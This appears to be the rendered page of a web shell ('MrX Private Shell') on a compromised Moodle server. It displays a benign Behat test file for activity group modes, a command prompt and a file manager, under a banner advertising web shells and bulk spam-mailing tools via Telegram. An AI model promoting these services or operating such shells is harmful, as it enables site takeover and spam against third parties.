__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_courseformat
Feature: Verify activity group mode interface.
  In order to edit the course activity group mode
  As a teacher
  I need to be able edit the group mode form the page course

  Background:
    Given the following "course" exists:
      | fullname         | Course 1 |
      | shortname        | C1       |
      | category         | 0        |
      | numsections      | 3        |
    And the following "groups" exist:
      | name | course | idnumber |
      | G1   | C1     | GI1      |
    And the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |

  @javascript
  Scenario: Teacher can see the group mode badges in both edit and no edit mode
    Given the following "activities" exist:
      | activity | name              | intro                  | course | idnumber | section | groupmode |
      | forum    | Activity sample 1 | Test forum description | C1     | sample1  | 1       | 0         |
      | forum    | Activity sample 2 | Test forum description | C1     | sample2  | 1       | 1         |
      | forum    | Activity sample 3 | Test forum description | C1     | sample3  | 1       | 2         |
    And I am on the "C1" "Course" page logged in as "teacher1"
    When I turn editing mode on
    Then "Visible groups" "icon" should not exist in the "Activity sample 1" "activity"
    And "Separate groups" "icon" should not exist in the "Activity sample 1" "activity"
    And "Visible groups" "icon" should not exist in the "Activity sample 2" "activity"
    And "Separate groups" "icon" should exist in the "Activity sample 2" "activity"
    And "Visible groups" "icon" should exist in the "Activity sample 3" "activity"
    And "Separate groups" "icon" should not exist in the "Activity sample 3" "activity"
    And I turn editing mode off
    And "Visible groups" "icon" should not exist in the "Activity sample 1" "activity"
    And "Separate groups" "icon" should not exist in the "Activity sample 1" "activity"
    And "Visible groups" "icon" should not exist in the "Activity sample 2" "activity"
    And "Separate groups" "icon" should exist in the "Activity sample 2" "activity"
    And "Visible groups" "icon" should exist in the "Activity sample 3" "activity"
    And "Separate groups" "icon" should not exist in the "Activity sample 3" "activity"

  @javascript
  Scenario: Teacher can edit the group mode using the activity group mode badge
    Given the following "activities" exist:
      | activity | name            | intro                  | course | idnumber | section | groupmode |
      | forum    | Activity sample | Test forum description | C1     | sample   | 1       | 1         |
    And I am on the "C1" "Course" page logged in as "teacher1"
    And I turn editing mode on
    And I click on "Separate groups" "icon" in the "Activity sample" "core_courseformat > Activity groupmode"
    And I click on "Visible groups" "link" in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Separate groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Visible groups" "icon" should exist in the "Activity sample" "core_courseformat > Activity groupmode"
    When I click on "Visible groups" "icon" in the "Activity sample" "core_courseformat > Activity groupmode"
    And I click on "Separate groups" "link" in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Visible groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Separate groups" "icon" should exist in the "Activity sample" "core_courseformat > Activity groupmode"
    Then I click on "Separate groups" "icon" in the "Activity sample" "core_courseformat > Activity groupmode"
    And I click on "No groups" "link" in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Separate groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Visible groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And I open "Activity sample" actions menu
    And I click on "No groups" "icon" in the "Activity sample" "core_courseformat > Activity groupmode"
    And I click on "Separate groups" "link" in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Separate groups" "icon" should exist in the "Activity sample" "core_courseformat > Activity groupmode"

  @javascript
  Scenario: Teacher can edit the group mode using the activity action menu
    Given the following "activities" exist:
      | activity | name            | intro                  | course | idnumber | section | groupmode |
      | forum    | Activity sample | Test forum description | C1     | sample   | 1       | 1         |
    And I am on the "C1" "Course" page logged in as "teacher1"
    And I turn editing mode on
    And I open "Activity sample" actions menu
    And I choose "Group mode > Visible groups" in the open action menu
    And "Separate groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Visible groups" "icon" should exist in the "Activity sample" "core_courseformat > Activity groupmode"
    When I open "Activity sample" actions menu
    And I choose "Group mode > Separate groups" in the open action menu
    And "Visible groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Separate groups" "icon" should exist in the "Activity sample" "core_courseformat > Activity groupmode"
    Then I open "Activity sample" actions menu
    And I choose "Group mode > No groups" in the open action menu
    And "Separate groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And "Visible groups" "icon" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"
    And I open "Activity sample" actions menu
    And I choose "Group mode > Separate groups" in the open action menu
    And "Separate groups" "icon" should exist in the "Activity sample" "core_courseformat > Activity groupmode"

  @javascript
  Scenario: Teacher cannot see Group mode submenu for an activity when group mode has been forced
    Given the following "course" exists:
      | fullname       | Course 2 |
      | shortname      | C2       |
      | category       | 0        |
      | numsections    | 3        |
      | groupmode      | 1        |
      | groupmodeforce | 1        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C2     | editingteacher |
    And the following "activities" exist:
      | activity | name            | intro                  | course | idnumber | section |
      | forum    | Activity sample | Test forum description | C2     | sample   | 1       |
    And I am on the "C2" "Course" page logged in as "teacher1"
    And I turn editing mode on
    When I open "Activity sample" actions menu
    Then "Group mode" "link" should not exist in the "Activity sample" "activity"
    And "Separate groups" "button" should not exist in the "Activity sample" "core_courseformat > Activity groupmode"

Filemanager

Name Type Size Permission Actions
activity_groupmode.feature File 7.3 KB 0777
activity_icon_tooltip.feature File 2.6 KB 0777
activity_visibility.feature File 4.46 KB 0777
behat_courseformat.php File 2.4 KB 0777
bulk_activity_actions.feature File 10.96 KB 0777
bulk_section_actions.feature File 13.41 KB 0777
bulk_select.feature File 13.2 KB 0777
bulk_show_one_section_actions.feature File 5.8 KB 0777
content_preferences.feature File 4.33 KB 0777
course_courseindex.feature File 22.65 KB 0777
course_manageactivities.feature File 3.57 KB 0777
courseindex_completion.feature File 10.38 KB 0777
courseindex_keyboardnav.feature File 5.02 KB 0777
courseindex_language.feature File 1.46 KB 0777
coursepage_completion.feature File 10.77 KB 0777
duplicate_section.feature File 2.01 KB 0777
movecm_keyboard.feature File 4.58 KB 0777
movesection_keyboard.feature File 2.45 KB 0777
section_page.feature File 6.58 KB 0777
section_visibility.feature File 5.47 KB 0777
Filemanager